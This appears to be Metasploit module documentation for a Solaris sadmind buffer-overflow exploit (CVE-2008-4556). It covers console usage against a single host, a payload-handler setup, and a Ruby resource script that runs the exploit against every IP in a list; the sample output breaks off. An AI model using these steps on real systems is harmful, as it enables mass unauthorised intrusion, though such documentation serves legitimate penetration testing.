List of CVEs: CVE-2008-4556

This module exploits a buffer overflow vulnerability in adm_build_path() function of sadmind daemon. The distributed system administration daemon (sadmind) is the daemon used by Solstice AdminSuite applications to perform distributed system administration operations. The sadmind daemon is started automatically by the inetd daemon whenever a request to invoke an operation is received. The sadmind daemon process continues to run for 15 minutes after the last request is completed, unless a different idle-time is specified with the -i command line option. The sadmind daemon may be started independently from the command line, for example, at system boot time. In this case, the -i option has no effect; sadmind continues to run, even if there are no active requests.

Module Ranking and Traits

Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Basic Usage

Using sadmind_adm_build_path against a single host

Normally, you can use exploit/solaris/sunrpc/sadmind_adm_build_path this way:

msf > use exploit/solaris/sunrpc/sadmind_adm_build_path
msf exploit(sadmind_adm_build_path) > show targets
    ... a list of targets ...
msf exploit(sadmind_adm_build_path) > set TARGET target-id
msf exploit(sadmind_adm_build_path) > show options
    ... show and set options ...
msf exploit(sadmind_adm_build_path) > exploit

Using sadmind_adm_build_path against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your sadmind_adm_build_path will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/solaris/sunrpc/sadmind_adm_build_path")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
